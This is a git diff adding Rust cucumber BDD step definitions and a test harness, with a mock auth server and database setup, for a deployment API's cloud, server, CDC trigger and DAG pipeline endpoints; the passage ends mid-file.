+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[given(regex = r#"^a CDC trigger config for table "([^"]+)" with operations "([^"]+)"$"#)]
+async fn given_trigger_config(world: &mut StepWorld, table: String, ops: String) {
+    let operations: Vec<CdcOperation> = ops
+        .split(',')
+        .map(|s| CdcOperation::from_str(s.trim()).expect("Invalid operation"))
+        .collect();
+    world.cdc_trigger = Some(CdcTriggerConfig {
+        cdc_source_id: Uuid::new_v4(),
+        pipe_template_id: Uuid::new_v4(),
+        table_filter: Some(table),
+        operation_filter: Some(operations),
+        condition: None,
+    });
+}
+
+#[given("a minimal CDC trigger config")]
+async fn given_minimal_trigger(world: &mut StepWorld) {
+    world.cdc_trigger = Some(CdcTriggerConfig {
+        cdc_source_id: Uuid::new_v4(),
+        pipe_template_id: Uuid::new_v4(),
+        table_filter: None,
+        operation_filter: None,
+        condition: None,
+    });
+}
+
+#[then(regex = r#"^the trigger should filter table "([^"]+)"$"#)]
+async fn then_trigger_filters_table(world: &mut StepWorld, table: String) {
+    let trigger = world.cdc_trigger.as_ref().expect("No trigger config");
+    assert_eq!(trigger.table_filter.as_deref(), Some(table.as_str()));
+}
+
+#[then(
+    regex = r#"^the trigger should filter operations (Insert|Update|Delete) and (Insert|Update|Delete)$"#
+)]
+async fn then_trigger_filters_ops(world: &mut StepWorld, op1: String, op2: String) {
+    let trigger = world.cdc_trigger.as_ref().expect("No trigger config");
+    let ops = trigger
+        .operation_filter
+        .as_ref()
+        .expect("No operation filter");
+    let parse = |s: &str| match s {
+        "Insert" => CdcOperation::Insert,
+        "Update" => CdcOperation::Update,
+        "Delete" => CdcOperation::Delete,
+        _ => panic!("Unknown op: {}", s),
+    };
+    assert!(ops.contains(&parse(&op1)), "Missing {}", op1);
+    assert!(ops.contains(&parse(&op2)), "Missing {}", op2);
+}
+
+#[then("the trigger table filter should be None")]
+async fn then_trigger_table_none(world: &mut StepWorld) {
+    let trigger = world.cdc_trigger.as_ref().expect("No trigger config");
+    assert!(trigger.table_filter.is_none());
+}
+
+#[then("the trigger operation filter should be None")]
+async fn then_trigger_ops_none(world: &mut StepWorld) {
+    let trigger = world.cdc_trigger.as_ref().expect("No trigger config");
+    assert!(trigger.operation_filter.is_none());
+}
diff --git a/tests/steps/cloud_server.rs b/tests/steps/cloud_server.rs
new file mode 100644
index 00000000..9a2bd09a
--- /dev/null
+++ b/tests/steps/cloud_server.rs
@@ -0,0 +1,149 @@
+use cucumber::{given, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Cloud steps ─────────────────────────────────────────────────
+
+#[when(regex = r#"^I create a cloud with provider "([^"]+)" and token "([^"]+)"$"#)]
+async fn create_cloud_with_token(world: &mut StepWorld, provider: String, _token: String) {
+    let body = json!({
+        "provider": provider,
+        "save_token": false
+    });
+    world.post_json("/cloud", &body).await;
+    store_cloud_id(world);
+}
+
+#[given(regex = r#"^I have created a cloud with provider "([^"]+)"$"#)]
+async fn given_created_cloud(world: &mut StepWorld, provider: String) {
+    let body = json!({
+        "provider": provider,
+        "save_token": false
+    });
+    world.post_json("/cloud", &body).await;
+    store_cloud_id(world);
+}
+
+fn store_cloud_id(world: &mut StepWorld) {
+    if let Some(ref json) = world.response_json {
+        if let Some(id) = json.get("id").and_then(|v| v.as_i64()) {
+            world
+                .stored_ids
+                .insert("cloud_id".to_string(), id.to_string());
+        } else if let Some(id) = json.pointer("/item/id").and_then(|v| v.as_i64()) {
+            world
+                .stored_ids
+                .insert("cloud_id".to_string(), id.to_string());
+        }
+    }
+}
+
+#[when("I list clouds")]
+async fn list_clouds(world: &mut StepWorld) {
+    world.get("/cloud").await;
+}
+
+#[when("I get the stored cloud")]
+async fn get_stored_cloud(world: &mut StepWorld) {
+    let cloud_id = world
+        .stored_ids
+        .get("cloud_id")
+        .expect("No stored cloud_id")
+        .clone();
+    world.get(&format!("/cloud/{}", cloud_id)).await;
+}
+
+#[when(regex = r#"^I update the stored cloud with provider "([^"]+)"$"#)]
+async fn update_stored_cloud(world: &mut StepWorld, provider: String) {
+    let cloud_id = world
+        .stored_ids
+        .get("cloud_id")
+        .expect("No stored cloud_id")
+        .clone();
+    // NOTE: user_id is required in body because CloudForm.into() calls
+    // self.user_id.clone().unwrap() — omitting it causes a server panic.
+    // This is a pre-existing bug: the update handler sets user_id from
+    // auth context AFTER the conversion, but the conversion panics first.
+    let body = json!({
+        "provider": provider,
+        "name": format!("bdd-updated-{}", provider),
+        "user_id": "test-user-id",
+        "save_token": false
+    });
+    world.put_json(&format!("/cloud/{}", cloud_id), &body).await;
+}
+
+#[when("I delete the stored cloud")]
+async fn delete_stored_cloud(world: &mut StepWorld) {
+    let cloud_id = world
+        .stored_ids
+        .get("cloud_id")
+        .expect("No stored cloud_id")
+        .clone();
+    world.delete(&format!("/cloud/{}", cloud_id)).await;
+}
+
+// ─── Server steps ────────────────────────────────────────────────
+
+#[when("I list servers")]
+async fn list_servers(world: &mut StepWorld) {
+    world.get("/server").await;
+}
+
+#[when("I get servers for the stored project")]
+async fn get_servers_for_project(world: &mut StepWorld) {
+    let project_id = world
+        .stored_ids
+        .get("deployment_project_id")
+        .expect("No stored deployment_project_id")
+        .clone();
+    world.get(&format!("/server/project/{}", project_id)).await;
+}
+
+#[given("I have a test server")]
+async fn given_test_server(world: &mut StepWorld) {
+    let pool = world.db_pool.as_ref().expect("no db_pool");
+
+    // Create project first
+    let project_id: i32 = sqlx::query_scalar(
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+           VALUES (gen_random_uuid(), $1, 'srv-test-proj', '{}'::json, '{}'::json, NOW(), NOW())
+           RETURNING id"#,
+    )
+    .bind(super::common::USER_A_ID)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to create test project");
+
+    // Create server
+    let server_id: i32 = sqlx::query_scalar(
+        r#"INSERT INTO server (project_id, user_id, srv_ip, created_at, updated_at)
+           VALUES ($1, $2, '10.0.0.1', NOW(), NOW())
+           RETURNING id"#,
+    )
+    .bind(project_id)
+    .bind(super::common::USER_A_ID)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to create test server");
+
+    world
+        .stored_ids
+        .insert("server_id".to_string(), server_id.to_string());
+    world
+        .stored_ids
+        .insert("deployment_project_id".to_string(), project_id.to_string());
+}
+
+#[when("I get delete preview for the stored server")]
+async fn get_delete_preview(world: &mut StepWorld) {
+    let server_id = world
+        .stored_ids
+        .get("server_id")
+        .expect("No stored server_id")
+        .clone();
+    world
+        .get(&format!("/server/{}/delete-preview", server_id))
+        .await;
+}
diff --git a/tests/steps/common.rs b/tests/steps/common.rs
new file mode 100644
index 00000000..91baa317
--- /dev/null
+++ b/tests/steps/common.rs
@@ -0,0 +1,233 @@
+#![allow(dead_code, clippy::let_underscore_future)]
+
+use actix_web::{get, web, App, HttpServer, Responder};
+use sqlx::{Connection, Executor, PgConnection, PgPool};
+use stacker::configuration::{get_configuration, DatabaseSettings};
+use stacker::forms;
+use stacker::helpers::AgentPgPool;
+use std::net::TcpListener;
+use std::time::Duration;
+use tokio::time::sleep;
+
+pub struct BddTestApp {
+    pub address: String,
+    pub db_pool: PgPool,
+}
+
+const POSTGRES_STARTUP_MAX_ATTEMPTS: u32 = 15;
+const POSTGRES_STARTUP_RETRY_DELAY: Duration = Duration::from_secs(1);
+
+/// Spawn a test app instance for BDD tests.
+/// Uses the same pattern as the existing integration tests.
+pub async fn spawn_bdd_app() -> Option<BddTestApp> {
+    let mut configuration = get_configuration().expect("Failed to get configuration");
+
+    // Start mock auth server (token-aware: "user-b" → User B, anything else → User A)
+    let auth_listener =
+        TcpListener::bind("127.0.0.1:0").expect("Failed to bind port for BDD auth server");
+    configuration.auth_url = format!(
+        "http://127.0.0.1:{}/me",
+        auth_listener.local_addr().unwrap().port()
+    );
+    let _ = tokio::spawn(mock_auth_server(auth_listener));
+    tokio::time::sleep(std::time::Duration::from_millis(500)).await;
+
+    // Apply CI env overrides (PGHOST, PGPORT, PGUSER, PGPASSWORD) so BDD tests
+    // work with the dynamic postgres port allocated by GitHub Actions services.
+    if let Ok(host) = std::env::var("PGHOST") {
+        configuration.database.host = host;
+    }
+    if let Ok(port) = std::env::var("PGPORT") {
+        if let Ok(parsed) = port.parse::<u16>() {
+            configuration.database.port = parsed;
+        }
+    }
+    if let Ok(username) = std::env::var("PGUSER") {
+        configuration.database.username = username;
+    }
+    if let Ok(password) = std::env::var("PGPASSWORD") {
+        configuration.database.password = password;
+    }
+
+    // Unique database per BDD run
+    configuration.database.database_name = format!("bdd_{}", uuid::Uuid::new_v4());
+
+    // Increase client limit for BDD tests (multiple scenarios create clients)
+    configuration.max_clients_number = 100;
+
+    // Set internal services access key for audit ingest tests
+    std::env::set_var("INTERNAL_SERVICES_ACCESS_KEY", "bdd-internal-key");
+
+    let connection_pool = match configure_database_with_retry(&configuration.database).await {
+        Ok(pool) => pool,
+        Err(err) => {
+            eprintln!("BDD: Skipping — failed to connect to postgres: {}", err);
+            return None;
+        }
+    };
+
+    let app_listener = TcpListener::bind("127.0.0.1:0").expect("Failed to bind port for BDD app");
+    let port = app_listener.local_addr().unwrap().port();
+    let address = format!("http://127.0.0.1:{}", port);
+
+    let agent_pool = AgentPgPool::new(connection_pool.clone());
+    let server = stacker::startup::run(
+        app_listener,
+        connection_pool.clone(),
+        agent_pool,
+        configuration,
+    )
+    .await
+    .expect("Failed to start BDD app server.");
+    let _ = tokio::spawn(server);
+
+    Some(BddTestApp {
+        address,
+        db_pool: connection_pool,
+    })
+}
+
+async fn configure_database(config: &DatabaseSettings) -> Result<PgPool, sqlx::Error> {
+    let mut connection = PgConnection::connect(&config.connection_string_without_db()).await?;
+    connection
+        .execute(format!(r#"CREATE DATABASE "{}""#, config.database_name).as_str())
+        .await?;
+    let pool = PgPool::connect(&config.connection_string()).await?;
+    sqlx::migrate!("./migrations").run(&pool).await?;
+    Ok(pool)
+}
+
+async fn configure_database_with_retry(config: &DatabaseSettings) -> Result<PgPool, sqlx::Error> {
+    let mut last_err = None;
+
+    for attempt in 1..=POSTGRES_STARTUP_MAX_ATTEMPTS {
+        match configure_database(config).await {
+            Ok(pool) => return Ok(pool),
+            Err(err) => {
+                if attempt == POSTGRES_STARTUP_MAX_ATTEMPTS
+                    || !is_retryable_postgres_startup_error(&err)
+                {
+                    return Err(err);
+                }
+
+                eprintln!(
+                    "BDD: Waiting for postgres startup (attempt {attempt}/{POSTGRES_STARTUP_MAX_ATTEMPTS}): {err}"
+                );
+                last_err = Some(err);
+                sleep(POSTGRES_STARTUP_RETRY_DELAY).await;
+            }
+        }
+    }
+
+    Err(last_err.expect("BDD configure_database_with_retry exhausted without error"))
+}
+
+fn is_retryable_postgres_startup_error(err: &sqlx::Error) -> bool {
+    if matches!(
+        err,
+        sqlx::Error::Io(_)
+            | sqlx::Error::PoolTimedOut
+            | sqlx::Error::PoolClosed
+            | sqlx::Error::Tls(_)
+            | sqlx::Error::Protocol(_)
+    ) {
+        return true;
+    }
+
+    let message = err.to_string().to_ascii_lowercase();
+    message.contains("connection refused")
+        || message.contains("database system is starting up")
+        || message.contains("the database system is starting up")
+        || message.contains("could not connect")
+        || message.contains("timeout")
+        || message.contains("timed out")
+        || message.contains("server closed the connection unexpectedly")
+}
+
+// Token-aware mock auth server: "user-b" token → User B, anything else → User A
+pub const USER_A_ID: &str = "test_user_id";
+pub const USER_A_EMAIL: &str = "test@example.com";
+pub const USER_B_ID: &str = "other_user_id";
+pub const USER_B_EMAIL: &str = "other@example.com";
+
+#[get("")]
+async fn mock_auth(req: actix_web::HttpRequest) -> actix_web::Result<impl Responder> {
+    let auth_header = req
+        .headers()
+        .get("Authorization")
+        .and_then(|v| v.to_str().ok())
+        .unwrap_or("");
+
+    let is_user_b = auth_header.contains("user-b");
+    let is_admin = auth_header.contains("admin");
+
+    let mut user = forms::user::User::default();
+    if is_user_b {
+        user.id = USER_B_ID.to_string();
+        user.email = USER_B_EMAIL.to_string();
+        user.role = "group_user".to_string();
+    } else if is_admin {
+        user.id = USER_A_ID.to_string();
+        user.email = USER_A_EMAIL.to_string();
+        user.role = "group_admin".to_string();
+    } else {
+        user.id = USER_A_ID.to_string();
+        user.email = USER_A_EMAIL.to_string();
+        user.role = "group_user".to_string();
+    }
+    user.email_confirmed = true;
+
+    Ok(web::Json(forms::user::UserForm { user }))
+}
+
+async fn mock_auth_server(listener: TcpListener) {
+    HttpServer::new(|| App::new().service(web::scope("/me").service(mock_auth)))
+        .listen(listener)
+        .unwrap()
+        .run()
+        .await
+        .unwrap();
+}
+
+// ─── Test data helpers ───────────────────────────────────────────
+
+/// Insert a minimal project and return its id.
+pub async fn create_test_project(pool: &PgPool, user_id: &str) -> i32 {
+    sqlx::query_scalar(
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+        VALUES (gen_random_uuid(), $1, 'BDD Test Project', '{}'::jsonb, '{}'::jsonb, NOW(), NOW())
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert BDD test project")
+}
+
+/// Insert a test cloud credential and return its id.
+pub async fn create_test_cloud(pool: &PgPool, user_id: &str, provider: &str) -> i32 {
+    sqlx::query_scalar(
+        r#"INSERT INTO cloud (user_id, name, provider, cloud_token, save_token, created_at, updated_at)
+        VALUES ($1, 'BDD Cloud', $2, 'bdd-token', true, NOW(), NOW())
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(provider)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert BDD test cloud")
+}
+
+/// Insert a test server and return its id.
+pub async fn create_test_server(pool: &PgPool, user_id: &str, project_id: i32) -> i32 {
+    sqlx::query_scalar(
+        r#"INSERT INTO server (user_id, project_id, connection_mode, key_status, created_at, updated_at)
+        VALUES ($1, $2, 'ssh', 'none', NOW(), NOW())
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(project_id)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert BDD test server")
+}
diff --git a/tests/steps/dag.rs b/tests/steps/dag.rs
new file mode 100644
index 00000000..51a9ee61
--- /dev/null
+++ b/tests/steps/dag.rs
@@ -0,0 +1,371 @@
+use cucumber::{given, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Background: create a pipe template for DAG tests ─────────
+
+#[given(regex = r#"^I have a DAG pipe template named "([^"]+)"$"#)]
+async fn given_dag_pipe_template(world: &mut StepWorld, name: String) {
+    let _pool = world.db_pool.as_ref().expect("no db_pool");
+
+    // Use unique name per scenario to avoid parallel conflicts
+    let unique_name = format!("{}-{}", name, uuid::Uuid::new_v4());
+
+    let body = json!({
+        "name": unique_name,
+        "source_app_type": "test_source",
+        "source_endpoint": {"path": "/api/in", "method": "GET"},
+        "target_app_type": "test_target",
+        "target_endpoint": {"path": "/api/out", "method": "POST"},
+        "field_mapping": {"id": "id"},
+        "is_public": false
+    });
+
+    let (_status, _body) = world.post_json("/api/v1/pipes/templates", &body).await;
+
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create DAG pipe template '{}': {}",
+        unique_name,
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+
+    world.store_id_from_response("dag_template_id", "/item/id");
+}
+
+// ─── Step creation helpers ────────────────────────────────────
+
+pub fn infer_step_type(name: &str) -> &str {
+    let lower = name.to_lowercase();
+    if lower.contains("source") || lower == "s" {
+        "source"
+    } else if lower.contains("target") || lower == "t" {
+        "target"
+    } else if lower.contains("transform") || lower.contains("map") {
+        "transform"
+    } else if lower.contains("condition") || lower.contains("check") || lower.contains("branch") {
+        "condition"
+    } else {
+        "transform"
+    }
+}
+
+async fn create_dag_step(world: &mut StepWorld, name: &str, step_type: &str) -> String {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id stored")
+        .clone();
+
+    let body = json!({
+        "name": name,
+        "step_type": step_type,
+        "config": {}
+    });
+
+    let path = format!("/api/v1/pipes/{}/dag/steps", template_id);
+    let (_status, _body) = world.post_json(&path, &body).await;
+
+    let step_id = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/id"))
+        .and_then(|v| v.as_str())
+        .expect("Expected /item/id in step response")
+        .to_string();
+
+    world
+        .stored_ids
+        .insert(format!("dag_step:{}", name), step_id.clone());
+    world
+        .stored_ids
+        .insert("last_dag_step_id".to_string(), step_id.clone());
+
+    step_id
+}
+
+async fn create_dag_edge(world: &mut StepWorld, from_name: &str, to_name: &str) -> String {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let from_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", from_name))
+        .unwrap_or_else(|| panic!("No step named '{}'", from_name))
+        .clone();
+    let to_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", to_name))
+        .unwrap_or_else(|| panic!("No step named '{}'", to_name))
+        .clone();
+
+    let body = json!({
+        "from_step_id": from_id,
+        "to_step_id": to_id
+    });
+
+    let path = format!("/api/v1/pipes/{}/dag/edges", template_id);
+    let (_status, _body) = world.post_json(&path, &body).await;
+
+    let edge_id = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/id"))
+        .and_then(|v| v.as_str())
+        .unwrap_or("unknown")
+        .to_string();
+
+    world
+        .stored_ids
+        .insert("last_dag_edge_id".to_string(), edge_id.clone());
+
+    edge_id
+}
+
+// ─── Given steps ──────────────────────────────────────────────
+
+#[given(regex = r#"^I have added DAG steps "([^"]+)" to the template$"#)]
+async fn given_dag_steps(world: &mut StepWorld, steps_csv: String) {
+    for name in steps_csv.split(',') {
+        let name = name.trim();
+        let step_type = infer_step_type(name);
+        create_dag_step(world, name, step_type).await;
+    }
+}
+
+#[given(regex = r#"^I have added a DAG step "([^"]+)" of type "([^"]+)" to the template$"#)]
+async fn given_dag_step_with_type(world: &mut StepWorld, name: String, step_type: String) {
+    create_dag_step(world, &name, &step_type).await;
+}
+
+#[given(regex = r#"^I have added a DAG edge from step "([^"]+)" to step "([^"]+)"$"#)]
+async fn given_dag_edge(world: &mut StepWorld, from_name: String, to_name: String) {
+    create_dag_edge(world, &from_name, &to_name).await;
+}
+
+// ─── When steps ───────────────────────────────────────────────
+
+#[when("I add a DAG step to the template with:")]
+async fn when_add_dag_step(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+
+    let docstring = step.docstring.as_ref().expect("Missing docstring");
+    let body: serde_json::Value =
+        serde_json::from_str(docstring).expect("Invalid JSON in docstring");
+
+    let path = format!("/api/v1/pipes/{}/dag/steps", template_id);
+    world.post_json(&path, &body).await;
+
+    // Store the step ID if created
+    if let Some(step_id) = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/id"))
+        .and_then(|v| v.as_str())
+    {
+        world
+            .stored_ids
+            .insert("last_dag_step_id".to_string(), step_id.to_string());
+    }
+}
+
+#[when("I list DAG steps for the template")]
+async fn when_list_dag_steps(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+
+    let path = format!("/api/v1/pipes/{}/dag/steps", template_id);
+    world.get(&path).await;
+}
+
+#[when("I get the stored DAG step")]
+async fn when_get_dag_step(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let step_id = world
+        .stored_ids
+        .get("last_dag_step_id")
+        .expect("No last_dag_step_id")
+        .clone();
+
+    let path = format!("/api/v1/pipes/{}/dag/steps/{}", template_id, step_id);
+    world.get(&path).await;
+}
+
+#[when("I update the stored DAG step with:")]
+async fn when_update_dag_step(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let step_id = world
+        .stored_ids
+        .get("last_dag_step_id")
+        .expect("No last_dag_step_id")
+        .clone();
+
+    let docstring = step.docstring.as_ref().expect("Missing docstring");
+    let body: serde_json::Value = serde_json::from_str(docstring).expect("Invalid JSON");
+
+    let path = format!("/api/v1/pipes/{}/dag/steps/{}", template_id, step_id);
+    world.put_json(&path, &body).await;
+}
+
+#[when("I delete the stored DAG step")]
+async fn when_delete_dag_step(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let step_id = world
+        .stored_ids
+        .get("last_dag_step_id")
+        .expect("No last_dag_step_id")
+        .clone();
+
+    let path = format!("/api/v1/pipes/{}/dag/steps/{}", template_id, step_id);
+    world.delete(&path).await;
+}
+
+#[when(regex = r#"^I add a DAG edge from step "([^"]+)" to step "([^"]+)"$"#)]
+async fn when_add_dag_edge(world: &mut StepWorld, from_name: String, to_name: String) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let from_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", from_name))
+        .unwrap_or_else(|| panic!("No step named '{}'", from_name))
+        .clone();
+    let to_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", to_name))
+        .unwrap_or_else(|| panic!("No step named '{}'", to_name))
+        .clone();
+
+    let body = json!({
+        "from_step_id": from_id,
+        "to_step_id": to_id
+    });
+
+    let path = format!("/api/v1/pipes/{}/dag/edges", template_id);
+    world.post_json(&path, &body).await;
+
+    if let Some(edge_id) = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/id"))
+        .and_then(|v| v.as_str())
+    {
+        world
+            .stored_ids
+            .insert("last_dag_edge_id".to_string(), edge_id.to_string());
+    }
+}
+
+#[when(regex = r#"^I add a DAG edge from step "([^"]+)" to step "([^"]+)" with condition:$"#)]
+async fn when_add_dag_edge_with_condition(
+    world: &mut StepWorld,
+    step: &cucumber::gherkin::Step,
+    from_name: String,
+    to_name: String,
+) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let from_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", from_name))
+        .unwrap_or_else(|| panic!("No step named '{}'", from_name))
+        .clone();
+    let to_id = world
+        .stored_ids
+        .get(&format!("dag_step:{}", to_name))
+        .unwrap_or_else(|| panic!("No step named '{}'", to_name))
+        .clone();
+
+    let docstring = step.docstring.as_ref().expect("Missing docstring");
+    let condition: serde_json::Value = serde_json::from_str(docstring).expect("Invalid JSON");
+
+    let body = json!({
+        "from_step_id": from_id,
+        "to_step_id": to_id,
+        "condition": condition
+    });
+
+    let path = format!("/api/v1/pipes/{}/dag/edges", template_id);
+    world.post_json(&path, &body).await;
+
+    if let Some(edge_id) = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/id"))
+        .and_then(|v| v.as_str())
+    {
+        world
+            .stored_ids
+            .insert("last_dag_edge_id".to_string(), edge_id.to_string());
+    }
+}
+
+#[when("I list DAG edges for the template")]
+async fn when_list_dag_edges(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+
+    let path = format!("/api/v1/pipes/{}/dag/edges", template_id);
+    world.get(&path).await;
+}
+
+#[when("I delete the stored DAG edge")]
+async fn when_delete_dag_edge(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let edge_id = world
+        .stored_ids
+        .get("last_dag_edge_id")
+        .expect("No last_dag_edge_id")
+        .clone();
+
+    let path = format!("/api/v1/pipes/{}/dag/edges/{}", template_id, edge_id);
+    world.delete(&path).await;
+}
+
+#[when("I validate the DAG for the template")]
+async fn when_validate_dag(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+
+    let path = format!("/api/v1/pipes/{}/dag/validate", template_id);
+    let body = json!({});
+    world.post_json(&path, &body).await;
+}
diff --git a/tests/steps/dag_execution.rs b/tests/steps/dag_execution.rs
new file mode 100644
index 00000000..7da8e118
--- /dev/null
+++ b/tests/steps/dag_execution.rs
@@ -0,0 +1,276 @@
+use cucumber::{given, then, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Given: create pipe instance for DAG execution ────────────
+
+#[given("I have a DAG pipe instance for that template")]
+async fn given_dag_instance(world: &mut StepWorld) {
+    let pool = world.db_pool.as_ref().expect("no db_pool");
+
+    // Create a project + deployment for this instance
+    let deployment_hash = format!("dag-exec-deploy-{}", uuid::Uuid::new_v4());
+    let proj_name = format!("proj-{}", &deployment_hash);
+
+    let project_id: i32 = sqlx::query_scalar(
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+           VALUES (gen_random_uuid(), $1, $2, '{}'::json, '{}'::json, NOW(), NOW())
+           RETURNING id"#,
+    )
+    .bind(super::common::USER_A_ID)
+    .bind(&proj_name)
+    .fetch_one(pool)
+    .await
+    .expect("project insert failed");
+
+    sqlx::query(
+        r#"INSERT INTO deployment (project_id, deployment_hash, user_id, metadata, status, created_at, updated_at)
+           VALUES ($1, $2, $3, '{}'::json, 'running', NOW(), NOW())
+           ON CONFLICT (deployment_hash) DO UPDATE SET updated_at = NOW()"#,
+    )
+    .bind(project_id)
+    .bind(&deployment_hash)
+    .bind(super::common::USER_A_ID)
+    .execute(pool)
+    .await
+    .expect("deployment insert failed");
+
+    // Create a pipe instance via the API
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+
+    let body = json!({
+        "template_id": template_id,
+        "deployment_hash": deployment_hash,
+        "source_container": "dag-source",
+        "target_container": "dag-target"
+    });
+
+    let (_status, _body) = world.post_json("/api/v1/pipes/instances", &body).await;
+
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create DAG pipe instance: {}",
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+
+    world.store_id_from_response("dag_instance_id", "/item/id");
+    world
+        .stored_ids
+        .insert("dag_deployment_hash".to_string(), deployment_hash);
+}
+
+// ─── Given: create step with config ───────────────────────────
+
+#[given(regex = r#"^I have added a DAG step "([^"]+)" of type "([^"]+)" with config:$"#)]
+async fn given_dag_step_with_config(
+    world: &mut StepWorld,
+    step: &cucumber::gherkin::Step,
+    name: String,
+    step_type: String,
+) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id stored")
+        .clone();
+
+    let docstring = step.docstring.as_ref().expect("Missing docstring");
+    let config: serde_json::Value = serde_json::from_str(docstring).expect("Invalid JSON");
+
+    let body = json!({
+        "name": name,
+        "step_type": step_type,
+        "config": config
+    });
+
+    let path = format!("/api/v1/pipes/{}/dag/steps", template_id);
+    let (_status, _body) = world.post_json(&path, &body).await;
+
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create DAG step '{}': {}",
+        name,
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+
+    let step_id = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/id"))
+        .and_then(|v| v.as_str())
+        .expect("Expected /item/id in step response")
+        .to_string();
+
+    world
+        .stored_ids
+        .insert(format!("dag_step:{}", name), step_id.clone());
+    world
+        .stored_ids
+        .insert("last_dag_step_id".to_string(), step_id);
+}
+
+// ─── When: execute the DAG ────────────────────────────────────
+
+#[when("I execute the DAG with input:")]
+async fn when_execute_dag(world: &mut StepWorld, step: &cucumber::gherkin::Step) {
+    let instance_id = world
+        .stored_ids
+        .get("dag_instance_id")
+        .expect("No dag_instance_id")
+        .clone();
+
+    let docstring = step.docstring.as_ref().expect("Missing docstring");
+    let input: serde_json::Value = serde_json::from_str(docstring).expect("Invalid JSON");
+
+    let body = json!({
+        "input_data": input
+    });
+
+    let path = format!("/api/v1/pipes/instances/{}/dag/execute", instance_id);
+    world.post_json(&path, &body).await;
+
+    // Store execution_id for step execution queries
+    if let Some(exec_id) = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.pointer("/item/execution_id"))
+        .and_then(|v| v.as_str())
+    {
+        world
+            .stored_ids
+            .insert("dag_execution_id".to_string(), exec_id.to_string());
+    }
+}
+
+#[when("another user executes the DAG for the stored template")]
+async fn when_other_user_executes_dag(world: &mut StepWorld) {
+    let instance_id = world
+        .stored_ids
+        .get("dag_instance_id")
+        .expect("No dag_instance_id")
+        .clone();
+
+    let body = json!({"input_data": {}});
+    let path = format!("/api/v1/pipes/instances/{}/dag/execute", instance_id);
+
+    // Use "user-b" token which maps to a different user in mock auth
+    let resp = world
+        .client
+        .post(format!("{}{}", world.base_url, path))
+        .header("Authorization", "Bearer user-b")
+        .json(&body)
+        .send()
+        .await
+        .expect("request failed");
+
+    world.status_code = Some(resp.status().as_u16());
+    let body_text = resp.text().await.unwrap_or_default();
+    world.response_json = serde_json::from_str(&body_text).ok();
+    world.response_body = Some(body_text);
+}
+
+// ─── When: list step executions ───────────────────────────────
+
+#[when("I list step executions for the DAG execution")]
+async fn when_list_step_executions(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("dag_template_id")
+        .expect("No dag_template_id")
+        .clone();
+    let execution_id = world
+        .stored_ids
+        .get("dag_execution_id")
+        .expect("No dag_execution_id")
+        .clone();
+
+    let path = format!(
+        "/api/v1/pipes/{}/dag/executions/{}/steps",
+        template_id, execution_id
+    );
+    world.get(&path).await;
+}
+
+// ─── Then: execution result assertions ────────────────────────
+
+#[then(regex = r#"^every step execution should have status "([^"]+)"$"#)]
